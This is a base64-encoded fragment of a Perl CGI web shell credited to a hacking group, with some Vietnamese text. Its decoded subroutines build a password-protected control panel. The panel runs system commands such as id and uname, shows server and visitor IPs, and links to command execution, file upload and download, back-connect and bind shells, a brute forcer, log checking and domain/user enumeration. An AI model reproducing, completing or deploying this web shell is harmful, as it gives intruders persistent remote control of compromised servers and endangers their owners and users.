LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6IDAwRkYwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogMDBGRjAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogMDBGRjAwOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoJPHRkPgoJCSRpbmZvCgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0icmVkIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VCYjNzg0MztpIFh1JiM3ODg5O25nIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPiYjMjcyOyYjMjU5O25nIFh1JiM3ODQ1O3Q8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKCk0mIzc4NTM7dCBLaCYjNzg0OTt1Ojxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OiBIYW5kU1RlYW08YnI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPTAwRkYwMD5FZGl0ZWQgYnkgOjpbTWFyaW9uMDAxIC0gSGFuZFMgVGVhbSBHcm91cF06OiA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+CjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t